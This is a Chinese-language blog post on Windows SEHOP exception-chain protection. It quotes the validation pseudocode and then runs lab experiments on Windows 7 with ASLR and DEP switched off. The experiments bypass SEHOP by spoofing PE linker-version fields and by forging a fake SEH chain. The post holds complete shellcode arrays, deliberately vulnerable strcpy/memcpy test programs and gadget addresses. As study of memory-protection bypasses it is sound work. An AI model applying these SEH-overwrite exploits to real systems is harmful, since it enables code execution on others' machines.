selph
selph
发布于 2022-04-05 / 504 阅读
0
0

Windows安全机制--SEHOP

与SafeSEH机制检测要调用的异常处理函数的函数地址不同,SEHOP检测要调用的异常处理函数的SEH链表

SEHOP机制原理

SEHOP是比SafeSEH更为严厉的保护机制,在Windows Server 2008中默认启用,Windows Vista和Windows 7中默认是关闭的,可以手动启动:

  • 手工在注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel下面找到DisableExceptionChainValidation项,将其值设置为0,即可以启用SEHOP

SEH函数是以单链表形式保存在栈中的,链表末端的程序是默认异常处理,处理前面不能处理的异常

而SEHOP的任务就是检查SEH链的完整性,在程序传入异常处理前,SEH会检查SEH链上的最后一个异常处理函数是否为系统固定的终极异常处理函数:

  • 如果是则表明链表没被破坏,可以执行异常处理函数
  • 如果不是,则表示链表被破坏,程序将不去执行当前异常处理函数

Alex对该验证过程进行了批露,验证代码如下:

BOOL RtlIsValidHandler(handler)
{
        if (handler is in an image) {
                if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
                        return FALSE;
                if (image has a SafeSEH table)
                if (handler found in the table)
                        return TRUE;
                else
                        return FALSE;
                if (image is a .NET assembly with the ILonly flag set)
                        return FALSE;
                // fall through
        }
        if (handler is on a non-executable page) {
                if (ExecuteDispatchEnable bit set in the process flags)
                        return TRUE;
                else
                // enforce DEP even if we have no hardware NX
                raise ACCESS_VIOLATION;
        }
        if (handler is not in an image) {
                if (ImageDispatchEnable bit set in the process flags)
                        return TRUE;
                else
                        return FALSE; // don't allow handlers outside of images
        }
// everything else is allowed
return TRUE;
}
[...]
// Skip the chain validation if the
// DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0) {
        // Skip the validation if there are no SEH records on the
	// 如果没有SEH记录则不进行检测
        // linked list
        if (record != 0xFFFFFFFF) {
                // Walk the SEH linked list
		// 遍历SEH链表
                do {
                        // The record must be on the stack
			// 记录必须在栈中
                        if (record < stack_bottom || record > stack_top)
                                goto corruption;
                        // The end of the record must be on the stack
			// 最后一个记录也必须在栈中
                        if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
                                goto corruption;
                        // The record must be 4 byte aligned
			// 必须是4字节对齐
                        if ((record & 3) != 0)
                                goto corruption;
                        handler = record->handler;
                        // The handler must not be on the stack
			// 处理函数的地址不能在栈中
                        if (handler >= stack_bottom && handler < stack_top)
                                goto corruption;
                        record = record->next;
                } while (record != 0xFFFFFFFF);
                // End of chain reached
		// 到达链的最后
                // Is bit 9 set in the TEB->SameTebFlags field?
		// TEB->SameTebFlags的第九位被设置了吗?
                // This bit is set in ntdll!RtlInitializeExceptionChain,
                // which registers FinalExceptionHandler as an SEH handler
                // when a new thread starts.
		// 第九位意味着当线程启动时,是否要注册终极异常处理函数
                if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
                        // The final handler must be ntdll!FinalExceptionHandler
			// 最后的处理函数必须是ntdll!FinalExceptionHandler
                        if (handler != &FinalExceptionHandler)
                                goto corruption;
                }
        }
}

传统的栈溢出覆盖SEH会把链表指针给破坏了,然后覆盖异常处理函数地址,这样的话,SEH链的破坏就会被SEHOP检测出来

SEHOP是SafeSEH的补充,在SafeSEH的RtlIsValidHandler函数校验前进行检测,也就是说利用攻击加载模块之外的地址、堆地址、未启用SafeSEH模块的方法行不通了。

理论上还有三条路可行:

  1. 不去攻击SEH,而是攻击函数返回地址或者虚函数等
  2. 利用未启用SEHOP的模块
  3. 伪造SEH链

攻击返回地址和虚函数

如果碰巧一个程序启动了SEHOP,但是目标函数没有GS保护,则可以直接攻击返回地址

SEHOP保护的是SEH链表,其他东西并不保护,攻击虚函数的话SafeSEH和SEHOP不会管的

利用未启用SEHOP的模块

出于兼容性考虑,系统会对一部分程序禁用SEHOP,例如Armadilo加壳的软件

系统会根据PE头中的MajorLinkerVersion和MinorLinkerVersion两个选项来判断是否为程序禁用SEHOP,可以通过设置这两个选项为0x53,0x52来模拟经过Armadilo加壳的程序,从而达到禁用SEHOP

实验环境:Windows7 + VS2008 + VC++6.0 + SEHOP启动 + DEP关闭 + 禁用DLL ASLR + 禁用优化 + release + DLL基址为0x11120000

实验在“利用无safeSEH的模块”的基础上进行 (意思是用无SafeSEH的模块)


SEHOP的检查是在SafeSEH之前进行的,所以即便没有SafeSEH,SEHOP也会进行检查,虽说是SafeSEH的扩展,实际上二者可以相互独立存在

编译一个dll:SEHOPDLL.dll

#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
	pop eax
	pop eax
	retn
	}
}

项目设置:关闭ASLR,基址为0x11120000,禁用优化,release编译,链接器-命令行:safeseh:no配置无safeseh

复制一个副本出来,重命名为NOSEHOPDLL.dll,并用CFF修改PE头的标识位来关闭SEHOP:

image.png

到此为止已经有了两个无SafeSEH的DLL,一个开启了SEHOP,一个禁用了SEHOP


实验代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\xe0\x15\x12\x11"	// address of pop pop ret in SEHOPDLL.dll
"\x8b\xc4\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);
	int zero=0;
	__try
	{
		zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int main(int argc, char* argv[])
{
	HINSTANCE hInst = LoadLibraryA("SEHOPDLL.dll");//no safeseh have sehop
	//HINSTANCE hInst = LoadLibraryA("NOSEHOPDLL.dll");//no safeseh no sehop
	char str[200];
	test(shellcode);
	return 0;
}

这里代码和SafeSEH那一节基本一样,不同之处在于修改了Shellcode使其适用于Windows 7,以及修改了SEH Handler地址为我们自己编译的模块对应的地址

首先加载有SEHOP的模块,编译运行:

image.png

程序停在了发生异常的地方,无法进入异常处理,被系统给检测出来了SEH链的问题

首先加载无SEHOP的模块,编译运行:

image.png

程序成功进入构造的异常处理程序

也就是说,异常处理函数目标地址模块如果未开启SEHOP,则不会有SEHOP检测

伪造SEH链表

SEHOP检查的是SEH链的完整性,通过检查最后一个成员是不是指向一个固定的终极异常处理函数,如果溢出时能伪造这个结构,就可以绕过SEHOP了

伪造SEH条件比较苛刻:系统的ASLR不能启用,因为需要用到FinalExceptionHandler指向的地址,每次重启都变化的话,成功率会大大降低(这里探讨的这种方法理论上可行性)

伪造SEH链绕过SEHOP的具体条件:(假定关闭了ASLR)

  1. 链表指向的地址必须指向栈中,而且必须能被4整除
  2. 链表指向的地址存放的异常处理记录作为SEH链中的最后一项,异常处理函数指针必须指向终极异常处理函数
  3. 突破SEHOP检查后,溢出程序还需搞定SafeSEH

为了直观实验绕过SEHOP,所以本次实验在“利用未启用SafeSEH模块绕过SafeSEH”基础上进行,也就是说,使用上文编译的DLL即可

这样就不用考虑绕过SafeSEH的问题了,然后就是只需要确定了链表指针的值和FinalExceptionHandler指向的地址即可


实验环境:实验环境:Windows7 + VS2008 + VC++6.0 + SEHOP启动 + DEP关闭 + 禁用DLL ASLR + 禁用优化 + release + DLL基址为0x11120000

实验代码:

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;
DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	//strcpy(str,input);
	memcpy(str,input,200/*412*/);
	int zero=0;
	__try
	{
		zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEHOPDLL.dll"));//load No_SafeSEH module
	char str[200];
	//__asm int 3
	test(shellcode);
	return 0;
}

实验思路:代码跟之前基本上是一样的,这里调用未启用safeSEH的模块来绕过SafeSEH,代码里通过经典的栈溢出来覆盖SEH信息,通过伪造SEH链来造成SEH链未被破坏的假象,使用pop pop ret指令覆盖异常处理函数地址,制造异常进入异常处理,劫持异常处理流程


首先需要确定FinalExceptionHandler指向的地址——用x86dbg加载好程序后直接观察堆栈的底部去找到该地址:0x770AAB2D

image.png


首先填充合法数据0x90,观察堆栈覆盖情况:

image.png

buffer起始地址:0x0014FCE0,结束地址:0x0014FDA4,函数返回地址:0x0014FEA4,SEH记录地址:0x0014FDB8

这里需要填充16个字节然后开始覆盖SEH记录

刚刚忘了关闭编译的exe的随机基址了,所以截图中出现了基址不同,从这往后又给加上了

程序自带的最后一个SEH记录的地址是0x0014FFE4,用这个地址会导致其作为shellcode导致shellcode无法执行,所以这里需要换个不影响shellcode执行的地址

构造shellcode(向后添加部分):

"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // address of last seh record
"\xe0\x15\x12\x11"	// address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x75\xA8\xF7\x77"

这里先把SEH链的位置空下来,等会再填充,把最后一个seh记录的内容存放到shellcode最后,调试看看地址:

image.png

记录下地址:0x0012FF14,再次构造shellcode:

"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record 0x0012FF14
"\xe0\x15\x12\x11"	// address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x2D\xAB\x0A\x77"//0x770AAB2D

编译,调试运行:

image.png

成功将执行流转入栈中,但是。。。依然跑不起来

遇到的问题及解决

貌似0x12FF14这个地址作为shellcode依然不能得到执行,因为转入到这里的时候eax是0,还有后面的0x00000000也不行,这里需要对eax进行修改,让eax有一个可写入的值

到这里我发现了个问题,就是我们自己编译的dll,我们使用的并不是我们自己写的那个jump函数,重新将我们写的dll编译,让我们自己的dll来提供一个修改eax的跳转:

#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
extern "C" __declspec(dllexport)
void jump()
{
__asm{
	pop eax
	pop eax
	retn
	}
}

在内存中找到函数位置:0x11121013

image.png

修改到shellcode里,完整shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record 0x0012FF14
"\x13\x10\x12\x11" // address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x2D\xAB\x0A\x77"// 0x770AAB2D
;

编译运行,成功执行:

image.png

实验完成,证明了伪造SEH链表在理论上的可行性

这里的难点在于突破ASLR找到终极异常处理函数地址,如果没有ASLR还好说,如果有,那就不简单了


参考资料


评论